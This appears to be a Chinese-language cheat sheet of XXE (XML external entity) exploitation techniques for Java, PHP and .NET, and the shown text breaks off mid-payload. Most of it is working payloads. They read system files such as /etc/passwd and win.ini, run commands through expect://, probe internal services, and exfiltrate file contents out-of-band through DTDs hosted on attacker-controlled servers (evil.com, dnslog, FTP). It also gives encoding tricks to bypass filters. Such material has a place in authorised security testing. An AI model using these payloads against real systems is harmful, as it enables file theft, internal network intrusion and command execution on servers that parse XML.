注意:不同平台支持的协议不同,jdk1.8开始不再支持gopher协议
| 协议类型 | 可用场景 | Java 版本支持 | 安全限制 |
|---|
| file | 本地文件系统访问 | 全版本 | 受 SecurityManager 控制 |
| netdoc | 兼容旧系统(保留协议) | 1.0+ | 同 file 协议 |
| jar | 读取 jar 包内资源 | 1.2+ | 需配置权限 |
| http(s) | 远程资源访问 | 1.4+ | 需要网络权限 |
Java环境下XXE漏洞利用技巧
1、netdoc协议和file协议是一样的
参考文章:https://docs.qq.com/sheet/DWE1hQXRyWVZ2dmpB?tab=BB08J2
2、file协议可以和ls命令一样列目录
3、可以使用CDATA来读取包含特殊字符的文本数据,避免XML解析器对其进行解析。但是也只能读取一些简单的文本文件,如果文本中含有&或%还是无法进行读取。
4、高版本 JDK(≥8u191)中可通过utf-16编码绕过协议限制:
<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/passwd"> ]>
5、利用jar:协议读取压缩包内文件
<!ENTITY xxe SYSTEM "jar:file:///path/to/archive.zip!/file.txt">
6、使用参数实体嵌套绕过基础防护:
<!DOCTYPE root [
<!ENTITY % param1 "file:///etc/passwd">
<!ENTITY % param2 "<!ENTITY % exploit SYSTEM '%param1;'>">
%param2;
]>
7、可通过FTP协议外带含特殊字符的数据,对于不回显XXE,java没法像php一样用php://filter用来编码文件,只能用http或者ftp带出,受到很大限制。
8、不同JDK版本下的差异:
JDK 1.7u21 开始限制外部连接
JDK 6u45/7u21 开始禁用部分危险协议
JDK 8u191/7u201/6u211 版本后默认禁用 netdoc 协议
9、特殊文件读取
读取 /proc/self/environ 获取环境变量
通过 file:///sys/class/net/eth0/address 获取 MAC 地址
利用 Windows UNC 路径探测内网服务:<!ENTITY xxe SYSTEM "file://///192.168.1.1/share/file">
10、结合 JAXB 反序列化实现 RCE
11、通过 XInclude 二次触发漏洞:
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd"/>
</root>
12、利用 DTD 本地缓存进行盲注攻击
PHP环境下XXE漏洞利用技巧
1、php://filter 协议可以读取文件并进行编码转换:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
2、expect:// 协议(需安装 expect 扩展)可执行系统命令:
<!ENTITY xxe SYSTEM "expect://id">
3、解析器差异
libxml(默认解析器):PHP<8.0默认启用外部实体解析、需使用libxml_disable_entity_loader(true)禁用实体加载
SimpleXML: $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT); //LIBXML_NOENT 会主动解析实体
4、使用 UTF-7 编码绕过关键词过滤:
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE+test+...+AD4-
5、通过参数实体嵌套攻击:
<!DOCTYPE root [
<!ENTITY % param1 SYSTEM "file:///etc/passwd">
<!ENTITY % param2 "<!ENTITY % exploit SYSTEM 'php://filter/convert.base64-encode/resource=%param1;'>">
%param2;
]>
6、通过 HTTP/FTP 协议外传数据:
<!ENTITY % send SYSTEM "http://attacker.com/?data=%file;">
.net环境下XXE漏洞利用技巧
1、不安全的配置如下
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.XmlResolver = new XmlUrlResolver(); // 启用外部解析
xmlDoc.LoadXml(xml);
2、协议支持
file:// 协议可读取本地文件
http:// 可用于 SSRF 攻击或外带数据
利用 UNC 路径探测内网服务:
<!ENTITY xxe SYSTEM "\\192.168.1.1\share\file">
3、通过svg文件格式绕过内容检查:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
</svg>
4、使用 XInclude 绕过禁用 DTD:
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
5、通过XmlResolver自定义解析器实现 RCE(需特殊配置)
6、利用res://协议读取程序集资源文件
XXE漏洞利用主要分为下面两种情景
1.有回显
常用的协议
file:///
http://127.0.0.1/1.txt
php://filter/read=convert.base64-encode/resource=/etc/hosts
file协议文件读取
<?xml version="1.0"?><!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]><a>&xxe;</a>
命令执行
expect:// 是一些配置不当导致的命令执行协议,如果目标内部的PHP环境中安装了expect扩展,并且该扩展被加载到了处理XML的内部应用程序上,就可以利用expect来执行系统命令。
Expect扩展是一个用于自动化交互的套件,它可以在执行命令和程序时,模拟用户输入指定的字符串,以实现交互通信。如果能够成功利用这个扩展。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe [
<!ENTITY url SYSTEM "expect://whoami" >
]>
<xxe>&url;</xxe>
SSRF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379"> ]>
<a>&xxe;</a>
文件上传
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
java特定协议,netdoc协议文件读取
<?xml version="1.0"?>
<!DOCTYPE GVI[<!ENTITY xxe SYSTEM "netdoc:///C:/windows/win.ini" >]>
<user><username>&xxe;</username><password>test</password></user>
2.无回显
1.盲注读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/test.dtd">
%remote;%int;%send;
]>
dtd文件
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx.dnslog.cn/?p=%file;'>">
步骤 代码 作用
1 %remote; 加载远程test.dtd文件
2 %int; 定义嵌套实体:%send实体包含一个 HTTP 请求,其中注入%file读取的内容
3 %send; 触发最终的 HTTP 请求,将文件内容通过 URL 参数外传
2.报错读取
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://1.1.1.1:8000/ext.dtd">
%ext;
]>
<message></message>
dtd文件如下
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'http://1.1.1.1:8000/%file;'>">
%eval;
%error;
存在堆栈报错可以看到回显则使用下面的dtd
<!ENTITY % all SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%all;'>">
%eval;
%error;
3.CDATA拼接
java dtd在外部拼接CDATA,在java中无法绕过【&】和【%】
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">
%dtd; ]>
<user><username>&all;</username><password>admin</password></user>
dtd文件如下
<!ENTITY all "%start;%goodies;%end;">
4、ftp协议外带
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">
%dtd;
]>
<user><username>admin</username><password>admin</password></user>
dtd文件如下
<!ENTITY % all SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'ftp://evil.com:2121/%all;'>">
%eval;
%error;
注意:
此时无法直接使用nc监听2121端口,需要用到伪ftp服务器
https://github.com/LandGrey/xxe-ftp-server/
python xxe-ftp-server.py 0.0.0.0 8081 2121
ftp协议可获取java版本,但很多特殊字符都会导致无法带出,同时JDK大于7u141和8u162版本无法带出有换行的文件。
5、本地dtd,适用不出网情况
有回显
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///C:/Windows/System32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<user><username>admin</username><password>admin</password></user>
无回显可利用ftp协议外带
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///C:/Windows/System32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'ftp://evil.com:2121/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<user><username>admin</username><password>admin</password></user>
存在堆栈报错
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///C:/fonts.dtd">
<!ENTITY % constant 'aaa)>
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<user><username>admin</username><password>admin</password></user>
Windows上常用dtd
C:/Windows/System32/wbem/xml/cim20.dtd
C:/Windows/System32/wbem/xml/wmi20.dtd
C:/Windows/SysWOW64/wbem/xml/cim20.dtd
C:/Windows/SysWOW64/wbem/xml/wmi20.dtd
linux系统中dtd文件视系统而定,比如从我的Ubuntu中找出文件
/usr/share/xml/fontconfig/fonts.dtd
6、jar协议
存在堆栈报错可用
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % payload SYSTEM "file:///C:/">
<!ENTITY % xxe SYSTEM "http://evil.com/evil.dtd" >
%xxe;
%release;
]>
<user><username>admin</username><password>admin</password></user>
dtd文件如下
<!ENTITY % nested "<!ENTITY % release SYSTEM 'jar:%payload;!/test'>">
%nested;
dnslog外带
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!-- 读取目标文件 -->
<!ENTITY % nested "<!ENTITY % release SYSTEM 'jar:http://%payload;.dnslog.cn/!/'>">
%nested; <!-- 动态构造JAR URL -->
%release; <!-- 触发DNS解析 -->
]>
dtd文件如下
<!ENTITY % nested "<!ENTITY % release SYSTEM ’jar:%payload;.externallyhostedentity.com!/’>">%nested;
或
<!ENTITY % nested "<!ENTITY % release SYSTEM ’jar:%payload